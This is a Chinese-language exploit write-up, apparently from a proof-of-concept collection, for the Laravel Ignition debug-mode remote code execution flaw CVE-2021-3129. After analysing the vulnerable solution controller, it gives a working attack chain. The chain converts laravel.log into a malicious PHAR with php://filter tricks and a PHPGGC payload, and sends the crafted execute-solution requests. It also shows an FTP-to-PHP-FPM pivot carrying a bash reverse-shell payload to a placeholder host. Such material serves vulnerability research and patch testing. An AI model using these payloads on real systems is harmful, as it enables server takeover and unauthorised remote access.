mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-04 18:27:48 +00:00
707 lines
65 KiB
Markdown
707 lines
65 KiB
Markdown
|
|
# Laravel 小于 8.4.2 Debug 模式 _ignition 远程代码执行漏洞 CVE-2021-3129
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
Laravel 是一个免费的开源 PHP Web 框架,旨在实现的 Web 软件的 MVC 架构。2021 年 1 月 13 日,阿里云应急响应中心监控到国外某安全研究团队披露了 Laravel <= 8.4.2 存在远程代码执行漏洞。当 Laravel 开启了 Debug 模式时,由于 Laravel 自带的 Ignition 功能的某些接口存在过滤不严,攻击者可以发起恶意请求,通过构造恶意 Log 文件等方式触发 Phar 反序列化,从而造成远程代码执行,控制服务器。漏洞细节已在互联网公开。阿里云应急响应中心提醒 Laravel 用户尽快采取安全措施阻止漏洞攻击。
|
|||
|
|
|
|||
|
|
参考阅读:
|
|||
|
|
|
|||
|
|
- [米斯特团队|漏洞分析 | Laravel Debug页面RCE(CVE-2021-3129)分析复现](https://mp.weixin.qq.com/s/k08P2Uij_4ds35FxE2eh0g)
|
|||
|
|
- [陌陌安全|FTP利用|LARAVEL的那个RCE最有趣的点在这里](https://mp.weixin.qq.com/s/UPf62W0LoOGsFAdH4uqBcQ)
|
|||
|
|
- [原作者漏洞分析](https://www.ambionics.io/blog/laravel-debug-rce)
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Laravel 框架 < 8.4.3
|
|||
|
|
facade ignition 组件 < 2.5.2
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 环境搭建
|
|||
|
|
|
|||
|
|
```plain
|
|||
|
|
https://github.com/SNCKER/CVE-2021-3129.git
|
|||
|
|
docker-compose up -d
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
点击生成密钥出现如下图即成功创建漏洞环境
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
按照漏洞公开文章需要先有一个未知变量的错误,来点击 **Make variable optional**
|
|||
|
|
|
|||
|
|
- 按照官方手册创建路由和 View 模板
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
通过点击“Make variableOptional”按钮,模板变量则会被修改。如果检查 HTTP 日志,我们就会看到被调用的端点
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
通过这些 solutions,开发者可以通过点击按钮的方式,快速修复一些错误。本次漏洞就是其中的 `vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php` 过滤不严谨导致的。首先我们到执行 solution 的控制器当中去,看看是如何调用到 solution 的
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
<?php
|
|||
|
|
|
|||
|
|
namespace Facade\Ignition\Http\Controllers;
|
|||
|
|
|
|||
|
|
use Facade\Ignition\Http\Requests\ExecuteSolutionRequest;
|
|||
|
|
use Facade\IgnitionContracts\SolutionProviderRepository;
|
|||
|
|
use Illuminate\Foundation\Validation\ValidatesRequests;
|
|||
|
|
|
|||
|
|
class ExecuteSolutionController
|
|||
|
|
{
|
|||
|
|
use ValidatesRequests;
|
|||
|
|
|
|||
|
|
public function __invoke(
|
|||
|
|
ExecuteSolutionRequest $request,
|
|||
|
|
SolutionProviderRepository $solutionProviderRepository
|
|||
|
|
) {
|
|||
|
|
$solution = $request->getRunnableSolution();
|
|||
|
|
|
|||
|
|
$solution->run($request->get('parameters', []));
|
|||
|
|
|
|||
|
|
return response('');
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
接着调用 solution 对象中的 `run()` 方法,并将可控的 `parameters` 参数传过去。通过这个点我们可以调用到 `MakeViewVariableOptionalSolution::run()`
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
<?php
|
|||
|
|
|
|||
|
|
namespace Facade\Ignition\Solutions;
|
|||
|
|
|
|||
|
|
use Facade\IgnitionContracts\RunnableSolution;
|
|||
|
|
use Illuminate\Support\Facades\Blade;
|
|||
|
|
|
|||
|
|
class MakeViewVariableOptionalSolution implements RunnableSolution
|
|||
|
|
{
|
|||
|
|
...
|
|||
|
|
public function run(array $parameters = [])
|
|||
|
|
{
|
|||
|
|
$output = $this->makeOptional($parameters);
|
|||
|
|
if ($output !== false) {
|
|||
|
|
file_put_contents($parameters['viewFile'], $output);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public function makeOptional(array $parameters = [])
|
|||
|
|
{
|
|||
|
|
$originalContents = file_get_contents($parameters['viewFile']);
|
|||
|
|
|
|||
|
|
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
|
|||
|
|
|
|||
|
|
$originalTokens = token_get_all(Blade::compileString($originalContents));
|
|||
|
|
$newTokens = token_get_all(Blade::compileString($newContents));
|
|||
|
|
|
|||
|
|
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
|
|||
|
|
|
|||
|
|
if ($expectedTokens !== $newTokens) {
|
|||
|
|
return false;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
return $newContents;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
protected function generateExpectedTokens(array $originalTokens, string $variableName): array
|
|||
|
|
{
|
|||
|
|
$expectedTokens = [];
|
|||
|
|
foreach ($originalTokens as $token) {
|
|||
|
|
$expectedTokens[] = $token;
|
|||
|
|
if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
|
|||
|
|
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
|
|||
|
|
$expectedTokens[] = [T_COALESCE, '??', $token[2]];
|
|||
|
|
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
|
|||
|
|
$expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
return $expectedTokens;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
可以看到这里主要功能点是:读取一个给定的路径,并替换 `$variableName` 为 `$variableName ?? ''`,之后写回文件中。由于这里调用了 `file_get_contents()`,且其中的参数可控,所以这里可以通过 `phar://` 协议去触发 phar 反序列化。如果后期利用框架进行开发的人员,写出了一个文件上传的功能。那么我们就可以上传一个恶意 phar 文件,利用上述的 `file_get_contents()` 去触发 phar 反序列化,达到 rce 的效果。
|
|||
|
|
|
|||
|
|
除了解决方案的类名之外,还发送了一个文件路径和一个我们要替换的变量名。这看起来非常让人感兴趣。
|
|||
|
|
|
|||
|
|
让我们先检查一下类名的利用方法:我们可以实例化任意的类吗?
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
class SolutionProviderRepository implements SolutionProviderRepositoryContract
|
|||
|
|
{
|
|||
|
|
...
|
|||
|
|
|
|||
|
|
public function getSolutionForClass(string $solutionClass): ?Solution
|
|||
|
|
{
|
|||
|
|
if (! class_exists($solutionClass)) {
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
if (! in_array(Solution::class, class_implements($solutionClass))) {
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
return app($solutionClass);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
答案是否定的:Ignition 总是用我们指向的类来实现**RunnableSolution**
|
|||
|
|
|
|||
|
|
那么,让我们仔细看看这个类。实际上,负责该操作的代码位**./vendor/facade/ignition/sr/solutions/MakeViewVariableOptionalSolution.php**文件中。那么,我们可以更改任意文件的内容么?
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
class MakeViewVariableOptionalSolution implements RunnableSolution
|
|||
|
|
{
|
|||
|
|
...
|
|||
|
|
|
|||
|
|
public function run(array $parameters = [])
|
|||
|
|
{
|
|||
|
|
$output = $this->makeOptional($parameters);
|
|||
|
|
if ($output !== false) {
|
|||
|
|
file_put_contents($parameters['viewFile'], $output);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public function makeOptional(array $parameters = [])
|
|||
|
|
{
|
|||
|
|
$originalContents = file_get_contents($parameters['viewFile']); // [1]
|
|||
|
|
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
|
|||
|
|
|
|||
|
|
$originalTokens = token_get_all(Blade::compileString($originalContents)); // [2]
|
|||
|
|
$newTokens = token_get_all(Blade::compileString($newContents));
|
|||
|
|
|
|||
|
|
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
|
|||
|
|
|
|||
|
|
if ($expectedTokens !== $newTokens) { // [3]
|
|||
|
|
return false;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
return $newContents;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
protected function generateExpectedTokens(array $originalTokens, string $variableName): array
|
|||
|
|
{
|
|||
|
|
$expectedTokens = [];
|
|||
|
|
foreach ($originalTokens as $token) {
|
|||
|
|
$expectedTokens[] = $token;
|
|||
|
|
if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
|
|||
|
|
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
|
|||
|
|
$expectedTokens[] = [T_COALESCE, '??', $token[2]];
|
|||
|
|
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
|
|||
|
|
$expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
return $expectedTokens;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
...
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
这段代码比我们预想的要复杂一些:它会在读取给定的文件路径 [1] 后,将variableName ?? '',初始文件和新文件都将被标记化 [2]。如果我们的代码结构没有发生超出预期的变化,文件将被替换为新的内容。否则,makeOptional 将返回 false[3],新文件将不会被写入。因此,我们无法使用 variableName 做太多事情。
|
|||
|
|
|
|||
|
|
剩下的唯一输入变量就是 viewFile。如果我们对 variableName 和它的所有用法进行抽象,我们最终会得到下面的代码片段:
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
$contents =file_get_contents($parameters['viewFile']);
|
|||
|
|
file_put_contents($parameters['viewFile'], $contents);
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
到目前为止,大家可能都听说过 Orange Tsai 演示的上传进度技术。该技术利用 php://filter 在返回文件之前修改其内容。借助于该技术,我们就可以通过漏洞利用原语来转换文件的内容
|
|||
|
|
|
|||
|
|
```shell
|
|||
|
|
$ echo test | base64 | base64 > /path/to/file.txt
|
|||
|
|
$ cat /path/to/file.txt
|
|||
|
|
ZEdWemRBbz0K
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
```shell
|
|||
|
|
$f = 'php://filter/convert.base64-decode/resource=/path/to/file.txt';
|
|||
|
|
# Reads /path/to/file.txt, base64-decodes it, returns the result
|
|||
|
|
$contents = file_get_contents($f);
|
|||
|
|
# Base64-decodes $contents, then writes the result to /path/to/file.txt
|
|||
|
|
file_put_contents($f, $contents);
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
```shell
|
|||
|
|
$ cat /path/to/file.txt
|
|||
|
|
test
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
我们已经改变了文件的内容!遗憾的是,这将会应用两次转换。阅读文档后,我们找到了只进行一次转换的方法:
|
|||
|
|
|
|||
|
|
```shell
|
|||
|
|
# To base64-decode once, use:
|
|||
|
|
$f = 'php://filter/read=convert.base64-decode/resource=/path/to/file.txt';
|
|||
|
|
# OR
|
|||
|
|
$f = 'php://filter/write=convert.base64-decode/resource=/path/to/file.txt';
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
坏字符甚至都会被忽略:
|
|||
|
|
|
|||
|
|
```shell
|
|||
|
|
$ echo ':;.!!!!!ZEdWemRBbz0K:;.!!!!!' > /path/to/file.txt
|
|||
|
|
|
|||
|
|
$f = 'php://filter/read=convert.base64-decode|convert.base64-decode/resource=/path/to/file.txt';
|
|||
|
|
$contents = file_get_contents($f);
|
|||
|
|
file_put_contents($f, $contents);
|
|||
|
|
|
|||
|
|
$ cat /path/to/file.txt
|
|||
|
|
test
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
默认情况下,Laravel 的日志文件(存放 PHP 错误和堆栈跟踪)是存储在 storage/log/laravel.log 中的。下面,让我们通过尝试加载一个不存在的文件来生成一个错误, 即 SOME_TEXT_OF_OUR_CHOICE:
|
|||
|
|
|
|||
|
|
```shell
|
|||
|
|
[2021-01-11 12:39:44] local.ERROR: file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory at /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
|
|||
|
|
[stacktrace]
|
|||
|
|
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError()
|
|||
|
|
#1 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents()
|
|||
|
|
#2 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->makeOptional()
|
|||
|
|
#3 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->run()
|
|||
|
|
#4 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController->__invoke()
|
|||
|
|
[...]
|
|||
|
|
#32 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\{closure}()
|
|||
|
|
#33 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(141): Illuminate\\Pipeline\\Pipeline->then()
|
|||
|
|
#34 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(110): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
|
|||
|
|
#35 /work/pentest/laravel/laravel/public/index.php(52): Illuminate\\Foundation\\Http\\Kernel->handle()
|
|||
|
|
#36 /work/pentest/laravel/laravel/server.php(21): require_once('/work/pentest/l...')
|
|||
|
|
#37 {main}
|
|||
|
|
"}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
我们可以向文件中注入(几乎)任意的内容了。理论上讲,我们可以使用 Orange 发明的技术将日志文件转换为有效的 PHAR 文件,然后,使用 phar://包装器来运行序列化的代码。遗憾的是,这实际上是行不通的,并且原因有很多。
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
我们在前面说过,当对一个字符串进行ba se64-decoding处理时,PHP会忽略任何坏字符。这通常是正确的,但是有一个字符除外,即=。如果你使用ba se64-decode过滤一个中间含有字符=的字符串,PHP将产生一个错误,并且不会返回任何内容。
|
|||
|
|
如果我们能控制整个文件,那就好了。然而,我们注入到日志文件中的文本只是其中很小的一部分。它不仅有一个不算很大的前缀(日期),还有一个臃肿的后缀(堆栈跟踪)。此外,我们注入的文本还出现了两次!
|
|||
|
|
下面是另一件可怕的事情:
|
|||
|
|
|
|||
|
|
|
|||
|
|
php > var_dump(base64_decode(base64_decode('[2022-04-3023:59:11]')));
|
|||
|
|
string(0) ""
|
|||
|
|
php >var_dump(base64_decode(base64_decode('[2022-04-12 23:59:11]')));
|
|||
|
|
string(1) "2"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
根据日期的不同,对前缀进行两次解码时,会得到不同大小的结果。当我们对它进行第三次解码时,在第二种情况下,我们的 payload 将以 2 作为前缀,从而需要改变 base64 消息的对齐方式。
|
|||
|
|
|
|||
|
|
为了使其正常运行,我们必须为每个目标建立一个新的 payload,因为堆栈跟踪中包含绝对文件名;并且,每秒都需要建立一个新的 payload,因为前缀中包含时间。并且,只要有一个字符=需要进行 base64-decode 处理,仍然会面临失败。
|
|||
|
|
|
|||
|
|
因此,我们回到 PHP 文档中寻找其他类型的过滤器。
|
|||
|
|
|
|||
|
|
```plain
|
|||
|
|
[previous log entries]
|
|||
|
|
[prefix]PAYLOAD[midfix]PAYLOAD[suffix]
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
遗憾的是,我们已经了解到,如果滥用 base64-decode 的话,可能会在某个时候失败。现在,让我们来利用这一点:如果我们滥用它,将发生解码错误,日志文件将被清除!这样,我们触发的下一个错误将单独存在于日志文件中:
|
|||
|
|
|
|||
|
|
```plain
|
|||
|
|
[prefix]PAYLOAD[midfix]PAYLOAD[suffix]
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
现在,我们又回到了最初的问题上:保留一个 payload 并删除其余的。幸运的是,php://filter 并不限于 base64 操作。例如,我们可以用它来转换字符集,下面是从 UTF-16 到 UTF-8 的转换:
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
echo -ne '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0[midfix]P\0A\0Y\0L\0O\0A\0D\0[Some suffix ]' > /tmp/test.txt
|
|||
|
|
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
|
|||
|
|
卛浯牰晥硩崠PAYLOAD浛摩楦嵸PAYLOAD卛浯畳晦硩崠
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
我们的 payload 还在那里,安全无恙,只是前缀和后缀变成了非 ASCII 字符。然而,在日志条目中,我们的 payload 出现了两次,而不是一次。我们需要去掉第二个。
|
|||
|
|
|
|||
|
|
由于每个 UTF-16 字符占用两个字节,所以,我们可以通过在 PAYLOAD 的第二个实例的末尾增加一个字节,来使其无法对齐:
|
|||
|
|
|
|||
|
|
```shell
|
|||
|
|
echo -ne '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0X[midfix]P\0A\0Y\0L\0O\0A\0D\0X[Some suffix ]' > /tmp/test.txt
|
|||
|
|
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
|
|||
|
|
卛浯牰晥硩崠PAYLOAD存業晤硩偝䄀夀䰀伀䄀䐀堀卛浯畳晦硩崠
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
这样做的好处是,前缀的对齐方式不再重要:如果前缀大小相等,第一个 payload 将被正确解码;否则的话,第二个 payload 就会被正确解码。
|
|||
|
|
|
|||
|
|
如果将上面的发现与前面的 base64-decoding 结合起来,就能够对我们想要的任何东西进行编码:
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
$ echo -n TEST! | base64 | sed -E 's/./\0\\0/g'
|
|||
|
|
V\0E\0V\0T\0V\0C\0E\0=\0
|
|||
|
|
$ echo -ne '[Some prefix ]V\0E\0V\0T\0V\0C\0E\0=\0X[midfix]V\0E\0V\0T\0V\0C\0E\0=\0X[Some suffix ]' > /tmp/test.txt
|
|||
|
|
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8|convert.base64-decode/resource=/tmp/test.txt');
|
|||
|
|
TEST!
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
说到对齐,如果日志文件本身不是 2 字节对齐的,转换过滤器将如何处理?
|
|||
|
|
|
|||
|
|
```plain
|
|||
|
|
PHP Warning: file_get_contents(): iconv stream filter("utf16le"=>"utf-8"): invalid multibyte sequence in phpshell code on line 1
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
这又是一个问题。不过,我们可以借助两个 payload 来轻松地解决这个问题:一个是无害的 payload A,另一个是具有攻击性的 payload B,具体如下所示:
|
|||
|
|
|
|||
|
|
```plain
|
|||
|
|
[prefix]PAYLOAD_A[midfix]PAYLOAD_A[suffix]
|
|||
|
|
[prefix]PAYLOAD_B[midfix]PAYLOAD_B[suffix]
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
由于这里前缀、中缀和后缀都存在两份,还提供了 payload_a 和 payload_b,所以,日志文件的大小必然是偶数,从而避免了错误的发生。
|
|||
|
|
|
|||
|
|
最后,我们还要解决最后一个问题:我们使用 NULL 字节将 payload 的字节从一个填充为两个。在 PHP 中试图加载一个带有 NULL 字节的文件时,会生成以下错误:
|
|||
|
|
|
|||
|
|
```plain
|
|||
|
|
PHP Warning: file_get_contents() expects parameter 1 to be a valid path, string givenin php shell code on line 1
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
因此,我们将无法在错误日志中注入带有 NULL 字节的 payload。幸运的是,最后一个过滤器可以帮到我们,它就是 convert.quoted-printable-decode。
|
|||
|
|
|
|||
|
|
我们可以使用=00 对 NULL 字节进行编码。
|
|||
|
|
|
|||
|
|
**下面是我们最终的转换链:**
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
viewFile:php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.ba se64-decode/resource=/path/to/storage/logs/laravel.log
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
创建一个 PHPGGC payload,并对其进行编码:
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | sed -E 's/./\0=00/g'
|
|||
|
|
U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00==00==00
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
清空日志
|
|||
|
|
|
|||
|
|
```shell
|
|||
|
|
viewFile: php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/path/to/storage/logs/laravel.log
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
创建第一个日志条目,用于对齐:
|
|||
|
|
|
|||
|
|
```plain
|
|||
|
|
viewFile: AA
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
创建带有 payload 日志条目:
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
viewFile: U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00==00==00
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
通过我的过滤器将日志文件转换为有效的 PHAR:
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
启动 PHAR 的反序列化过程:
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
viewFile: phar:///path/to/storage/logs/laravel.log
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
**利用 FTP 与 PHP-FPM 进行交互**
|
|||
|
|
|
|||
|
|
由于我们可以运行 file_get_contents 来查找任何东西,因此,可以通过发送 HTTP 请求来扫描常用端口。结果发现,PHP-FPM 似乎正在侦听端口 9000。
|
|||
|
|
|
|||
|
|
众所周知,如果我们能向 PHP-FPM 服务发送一个任意的二进制数据包,就可以在机器上执行代码。这种技术经常与 gopher://协议结合使用,curl 支持 gopher://协议,但 PHP 却不支持。
|
|||
|
|
|
|||
|
|
另一个已知的允许通过 TCP 发送二进制数据包的协议是 FTP,更准确的说是该协议的被动模式:如果一个客户端试图从 FTP 服务器上读取一个文件(或写入),服务器会通知客户端将文件的内容读取(或写)到一个特定的 IP 和端口上。而且,这里对这些 IP 和端口没有进行必要的限制。例如,服务器可以告诉客户端连接到自己的一个端口,如果它愿意的话。
|
|||
|
|
|
|||
|
|
现在,如果我们尝试使用 viewFile=ftp://evil-server.lexfo.fr/file.txt 来利用这个漏洞,会发生以下情况:
|
|||
|
|
|
|||
|
|
file_get_contents() 连接到我们的 FTP 服务器,并下载 file.txt。
|
|||
|
|
|
|||
|
|
file_put_contents() 连接到我们的 FTP 服务器,并将其上传回 file.txt。
|
|||
|
|
|
|||
|
|
您可能已经知道这是怎么回事:我们将使用 FTP 协议的被动模式让 file_get_contents() 在我们的服务器上下载一个文件,当它试图使用 file_put_contents() 把它上传回去时,我们将告诉它把文件发送到 127.0.0.1:9000。
|
|||
|
|
|
|||
|
|
这样,我们就可以向 PHP-FPM 发送一个任意的数据包,从而执行代码。
|
|||
|
|
|
|||
|
|
利用这种方法,在我们的目标上成功地利用了该漏洞。
|
|||
|
|
|
|||
|
|
下面我们来演示一下攻击过程。
|
|||
|
|
|
|||
|
|
首先,我们使用 gopherus 生成攻击 fastcgi 的 payload:
|
|||
|
|
|
|||
|
|
```shell
|
|||
|
|
python gopherus.py --exploit fastcgi
|
|||
|
|
/var/www/public/index.php # 这里输入的是目标主机上一个已知存在的php文件
|
|||
|
|
bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9999 0>&1" # 这里输入的是要执行的命令
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
得到 payload,而我们需要的是上面 payload 中 **_**后面的数据部分,即:
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%07%07%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%19SCRIPT_FILENAME/var/www/public/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/xxx.xxx.xxx.xxx/9999%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
将数据添加到如下**FTP 脚本**中的 payload(脚本在文章末尾和 POC 目录中)
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
监听刚刚的反弹 shell 端口并运行 FTP 脚本
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
发送请求反弹 shell
|
|||
|
|
|
|||
|
|
```json
|
|||
|
|
POST /_ignition/execute-solution HTTP/1.1
|
|||
|
|
Host: xxx.xxx.xxx.xxx:8888
|
|||
|
|
Content-Type: application/json
|
|||
|
|
Content-Length: 191
|
|||
|
|
|
|||
|
|
{
|
|||
|
|
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
|
|||
|
|
"parameters": {
|
|||
|
|
"variableName": "username",
|
|||
|
|
"viewFile": "ftp://aaa@xxx.xxx.xxx.xxx:23/123"
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
使用 Docker 环境无法复现,需要搭建另一个环境
|
|||
|
|
